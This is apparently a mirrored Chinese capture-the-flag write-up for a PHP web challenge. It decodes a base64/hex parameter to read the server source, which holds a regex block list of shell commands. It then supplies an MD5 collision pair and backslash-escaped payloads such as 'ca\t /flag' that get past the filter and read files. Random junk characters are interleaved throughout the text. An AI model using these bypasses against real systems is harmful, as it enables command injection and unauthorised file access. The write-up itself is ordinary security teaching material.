|
|
! u) ]1 O7 ~% W/ k2 v7 C
<p><img src="https://img2022.cnblogs.com/blog/2632699/202202/2632699-20220211233053765-138473612.png" ></p>" d# f* P$ M. ~* P+ \
<p> </p>- M# E- o( T/ R, L
<p> </p>
& ]% w8 j0 E8 y+ X, Z H. \<p> 题目打开如下，?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=，同时查看源代码</p>
3 ~% l% t4 w7 C0 L+ Q& L% P<p><img src="https://img2022.cnblogs.com/blog/2632699/202202/2632699-20220211233545495-732796719.png" ></p>
" i% |. f$ K- z4 [9 r" z- _! p/ t/ d<p> </p>
4 x* L8 [2 p8 m+ A% P$ z<p> </p>$ x+ a% e/ R5 j4 f2 j: b% S
<p>这里有个MD5 is funny，说明这个题目大概率跟MD5有关</p>6 Z. T( q4 j9 o0 C7 Y
<p>然后我抓包了一下，消息头里面没有什么特殊的东西，于是我尝试从url入手</p>* e( V7 d8 P* V& `+ o1 v
<p>首先把那个进行一次base64位解码</p>* \9 R: L# X# e$ j
<p><img src="https://img2022.cnblogs.com/blog/2632699/202202/2632699-20220211234007573-1082134416.png" ></p>: b }; d( |+ r
<p> </p>
" X. [! u" ^% T$ k( M: d<p> </p>, G3 O0 G2 |: u% l0 z! K: T0 f
<p> 解码一次以后还是很像base64编码，于是又解码一次</p>
) ?& W) N! b* `+ a6 ?<p><img src="https://img2022.cnblogs.com/blog/2632699/202202/2632699-20220211234057439-916556800.png" ></p>1 r7 F3 H; Z! U" n5 K" ?
<p> </p>0 L: y1 q+ m$ C2 {5 j$ k% F+ G
<p> </p>
# I! n1 R; `$ N1 o% Q! X" n<p> 然后用hex解码一下得到了</p># a7 b+ D: ^+ T/ x3 j- u
<div class="cnblogs_Highlighter">
0 F3 K$ b E% x6 c5 M<pre class="brush:sql;gutter:true;">555.png
8 ? c6 G1 D0 u1 y! y</pre>
l4 H2 E% `. S+ s7 w1 |</div>' X! U+ L U6 J2 G6 M
<p> 用同样的方法把index.php进行加密</p>
5 s7 |& h+ R* [) a/ G# H& b# q1 _<div class="cnblogs_Highlighter">+ ?2 v& s, J9 b1 C! x2 ]8 H
<pre class="brush:sql;gutter:true;">TmprMlpUWTBOalUzT0RKbE56QTJPRGN3
& _8 ?9 z5 \% K</pre>. u% B1 g4 d* X* {6 q$ e9 {
</div>
2 q2 g4 z- V6 w, @& Z* j. G9 L( p$ p<p> 然后输入到地址栏</p>
4 y9 V6 ^/ r: s- f( f; g<p> 然后查看源代码，把源代码里面的那一串base64的编码解码</p>) o6 G7 I$ U( }. U
<div class="cnblogs_code">
: V5 t, ~" U8 u3 x4 N# C<pre><?<span style="color: rgba(0, 0, 0, 1)">php
4 x5 Q3 R( E4 `' @( J/ G. Q' ^% U+ S</span><span style="color: rgba(0, 128, 128, 1)">error_reporting</span>(<span style="color: rgba(255, 0, 255, 1)">E_ALL</span> || ~ <span style="color: rgba(255, 0, 255, 1)">E_NOTICE</span><span style="color: rgba(0, 0, 0, 1)">);
$ `6 p7 A# L1 o. P4 B</span><span style="color: rgba(0, 128, 128, 1)">header</span>('content-type:text/html;charset=utf-8'<span style="color: rgba(0, 0, 0, 1)">);* o1 ^" N, L% f; x: N: T
</span><span style="color: rgba(128, 0, 128, 1)">$cmd</span> = <span style="color: rgba(128, 0, 128, 1)">$_GET</span>['cmd'<span style="color: rgba(0, 0, 0, 1)">];
+ P% c3 k7 d0 X$ }- P- o</span><span style="color: rgba(0, 0, 255, 1)">if</span> (!<span style="color: rgba(0, 0, 255, 1)">isset</span>(<span style="color: rgba(128, 0, 128, 1)">$_GET</span>['img']) || !<span style="color: rgba(0, 0, 255, 1)">isset</span>(<span style="color: rgba(128, 0, 128, 1)">$_GET</span>['cmd'<span style="color: rgba(0, 0, 0, 1)">])) t* U4 n0 s7 E# X7 M
</span><span style="color: rgba(0, 128, 128, 1)">header</span>('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd='<span style="color: rgba(0, 0, 0, 1)">);4 R. W: M; b" h/ j0 d1 k/ A
</span><span style="color: rgba(128, 0, 128, 1)">$file</span> = hex2bin(<span style="color: rgba(0, 128, 128, 1)">base64_decode</span>(<span style="color: rgba(0, 128, 128, 1)">base64_decode</span>(<span style="color: rgba(128, 0, 128, 1)">$_GET</span>['img'<span style="color: rgba(0, 0, 0, 1)">])));+ a/ i0 N: i. A7 V0 G, z
% u, Z r& a! e4 s) O* Q5 V</span><span style="color: rgba(128, 0, 128, 1)">$file</span> = <span style="color: rgba(0, 128, 128, 1)">preg_replace</span>("/[^a-zA-Z0-9.]+/", "", <span style="color: rgba(128, 0, 128, 1)">$file</span><span style="color: rgba(0, 0, 0, 1)">);8 {( c" f$ M, g- D) n* G6 y7 {
</span><span style="color: rgba(0, 0, 255, 1)">if</span> (<span style="color: rgba(0, 128, 128, 1)">preg_match</span>("/flag/i", <span style="color: rgba(128, 0, 128, 1)">$file</span><span style="color: rgba(0, 0, 0, 1)">)) {2 J+ B" ]. e$ t3 k8 l. B
</span><span style="color: rgba(0, 0, 255, 1)">echo</span> '<img src ="./ctf3.jpeg">'<span style="color: rgba(0, 0, 0, 1)">;
& Y) l0 ~# Z/ j/ z' l </span><span style="color: rgba(0, 0, 255, 1)">die</span>("xixi～ no flag"<span style="color: rgba(0, 0, 0, 1)">);) e+ c+ X0 o- O3 y. |
} </span><span style="color: rgba(0, 0, 255, 1)">else</span><span style="color: rgba(0, 0, 0, 1)"> {
' L% _+ i9 @9 `- p </span><span style="color: rgba(128, 0, 128, 1)">$txt</span> = <span style="color: rgba(0, 128, 128, 1)">base64_encode</span>(<span style="color: rgba(0, 128, 128, 1)">file_get_contents</span>(<span style="color: rgba(128, 0, 128, 1)">$file</span><span style="color: rgba(0, 0, 0, 1)">));3 [' _, d: F p0 L4 P: d
</span><span style="color: rgba(0, 0, 255, 1)">echo</span> "<img src='data:image/gif;base64," . <span style="color: rgba(128, 0, 128, 1)">$txt</span> . "'></img>"<span style="color: rgba(0, 0, 0, 1)">;
' f7 Q) I V" V+ @2 \$ `4 n$ P </span><span style="color: rgba(0, 0, 255, 1)">echo</span> "<br>"<span style="color: rgba(0, 0, 0, 1)">;# T' D/ @# q4 Q9 j' X% s
}
4 M4 y8 K0 J' x C</span><span style="color: rgba(0, 0, 255, 1)">echo</span> <span style="color: rgba(128, 0, 128, 1)">$cmd</span><span style="color: rgba(0, 0, 0, 1)">;
* K5 O& L7 S" i4 V4 E6 @( D, L) m5 p</span><span style="color: rgba(0, 0, 255, 1)">echo</span> "<br>"<span style="color: rgba(0, 0, 0, 1)">;# F( m8 u) x! t* |3 Q1 _* S
</span><span style="color: rgba(0, 0, 255, 1)">if</span> (<span style="color: rgba(0, 128, 128, 1)">preg_match</span>("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", <span style="color: rgba(128, 0, 128, 1)">$cmd</span><span style="color: rgba(0, 0, 0, 1)">)) {2 ~* N# g7 s5 }4 Q
</span><span style="color: rgba(0, 0, 255, 1)">echo</span>("forbid ~"<span style="color: rgba(0, 0, 0, 1)">);' B/ j8 R) l4 K5 _: X
</span><span style="color: rgba(0, 0, 255, 1)">echo</span> "<br>"<span style="color: rgba(0, 0, 0, 1)">;& O2 P) b: [8 m
} </span><span style="color: rgba(0, 0, 255, 1)">else</span><span style="color: rgba(0, 0, 0, 1)"> {
+ m3 r1 k+ T2 ^: I' M( Z1 V </span><span style="color: rgba(0, 0, 255, 1)">if</span> ((<span style="color: rgba(0, 0, 255, 1)">string</span>)<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['a'] !== (<span style="color: rgba(0, 0, 255, 1)">string</span>)<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['b'] && <span style="color: rgba(0, 128, 128, 1)">md5</span>(<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['a']) === <span style="color: rgba(0, 128, 128, 1)">md5</span>(<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['b'<span style="color: rgba(0, 0, 0, 1)">])) {# f; Q0 K8 P2 t0 n
</span><span style="color: rgba(0, 0, 255, 1)">echo</span> `<span style="color: rgba(128, 0, 128, 1)">$cmd</span><span style="color: rgba(0, 0, 0, 1)">`;: I, X) O0 e. ?9 D. b4 h) _
} </span><span style="color: rgba(0, 0, 255, 1)">else</span><span style="color: rgba(0, 0, 0, 1)"> {
. c/ X9 G' s; `8 Y0 K0 J </span><span style="color: rgba(0, 0, 255, 1)">echo</span> ("md5 is funny ~"<span style="color: rgba(0, 0, 0, 1)">);
9 A: {. X$ E- P }
( I/ {! [7 v ?: M; p}
2 d. [% Z) K* Y+ t6 d# l4 a6 \# q! V" r3 w. X. x, w9 T
</span>?>
% ~8 w2 w$ u+ L9 e<html>
: j' p& g4 c8 p<style><span style="color: rgba(0, 0, 0, 1)">: n6 \4 X9 \; ?+ ^2 l9 D
body{4 j: a: q2 P6 r
background</span>:url(./bj.png) no-<span style="color: rgba(0, 0, 0, 1)">repeat center center;/ U. j1 ?4 f6 G6 j- q6 }
background</span>-size:<span style="color: rgba(0, 0, 0, 1)">cover;
?; h* R+ ~. G/ B background</span>-attachment:<span style="color: rgba(0, 0, 0, 1)">fixed;
% T0 m/ r7 h) k# p background</span>-color:<span style="color: rgba(0, 128, 0, 1)">#</span><span style="color: rgba(0, 128, 0, 1)">CCCCCC;</span>* W" Q- N+ {) L5 W: j) c$ P: z
<span style="color: rgba(0, 0, 0, 1)">}& p. ^9 E. F+ x: H/ E8 _
</span></style>
1 B2 ]2 M* {. F5 @8 R# t/ x' ]; b<body>
& @7 e+ J8 I: `( g# A. X</body>
0 D2 u) O# Y- o' ]$ j0 v7 U</html></pre>- U+ W; _ s! `, u/ y
</div>" l8 b" C' ]+ Q& G
<p>结合前面的推断，关键代码就在</p>, V l% f/ F: ?0 H$ H) k
<div class="cnblogs_code">
* N* w5 G+ e5 g0 b<pre> <span style="color: rgba(0, 0, 255, 1)">if</span> ((<span style="color: rgba(0, 0, 255, 1)">string</span>)<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['a'] !== (<span style="color: rgba(0, 0, 255, 1)">string</span>)<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['b'] && <span style="color: rgba(0, 128, 128, 1)">md5</span>(<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['a']) === <span style="color: rgba(0, 128, 128, 1)">md5</span>(<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['b'<span style="color: rgba(0, 0, 0, 1)">])) {% d% F E0 Y4 o1 h1 ~( h* _
</span><span style="color: rgba(0, 0, 255, 1)">echo</span> `<span style="color: rgba(128, 0, 128, 1)">$cmd</span><span style="color: rgba(0, 0, 0, 1)">`;
7 {8 w" B, j2 ?: O } </span><span style="color: rgba(0, 0, 255, 1)">else</span><span style="color: rgba(0, 0, 0, 1)"> {
7 X+ i1 z7 T7 S# G& `/ B% o. Q [ </span><span style="color: rgba(0, 0, 255, 1)">echo</span> ("md5 is funny ~"<span style="color: rgba(0, 0, 0, 1)">);/ j7 y6 G. o' V+ Z
}</span></pre>0 j1 I3 J2 ?& p' A7 U P
</div>
, B& h z* w- c' d3 ?<p>这种MD5是md5强碰撞</p>7 i8 s& X4 c6 c; J h0 ]7 K
<div class="cnblogs_Highlighter">4 u9 B9 k/ U2 o+ ~$ c
<pre class="brush:sql;gutter:true;">a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
! q5 ^8 f* F& j5 m( z</pre>8 @3 {% J4 \# G
</div>: g( u! D) U8 J" E6 A- [
<div class="cnblogs_Highlighter">* B* p: y; t. U- i9 P0 j
<pre class="brush:sql;gutter:true;">b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2+ M1 K! n3 V |+ j8 w& Q8 I6 ~
</pre>
% ^: V! _$ z/ M) V. M3 _</div>
5 f0 D$ l5 g" M4 Z+ I9 U9 ~* p<p> 只需要这样就可以把cmd里面的当成命令来处理。</p>
k/ F; k) X' c; q1 E<p>于是采用payload:</p>
! C, X2 ^$ A3 \7 e0 c<p><img src="https://img2022.cnblogs.com/blog/2632699/202202/2632699-20220211235254110-1699040750.png" ></p>% [7 d5 X6 G: A
<p> </p>
' [# n, e; A; b7 E* ?<p> 因为'\'并没有被屏蔽所以可以这么绕过</p>
V* ~3 |& \( ]3 J3 ^. S9 A9 r7 Y<p>ls和l\s在命令执行的时候结果是一样的。</p>
6 `: U2 Y$ d: [0 W<p>然后发现根目录里面有/flag</p>" T% d( ?; @& c1 e/ `
<p>于是payload:</p>* V# p: H2 f+ l; `
<div class="cnblogs_Highlighter">' ]; R7 w; W7 m9 N
<pre class="brush:sql;gutter:true;">?cmd=ca\t%20/flag
% ^: J% |1 Q" ^& k( v, p2 A</pre>
$ y' n& D7 M/ u+ O' B9 J</div>
# |& Y- S) ?0 o( _+ V5 G<p> 对于这个题目，因为他没有屏蔽sort和dir</p>, ^! m8 p+ ?+ S
<p>所以查看也可以用dir来代替ls，cat可以用sort来代替。</p>
$ p2 T( b0 S: f- F! ?<p> </p>
! K8 O& I* H0 p) V |
|
发表于 2022-2-12 14:35:42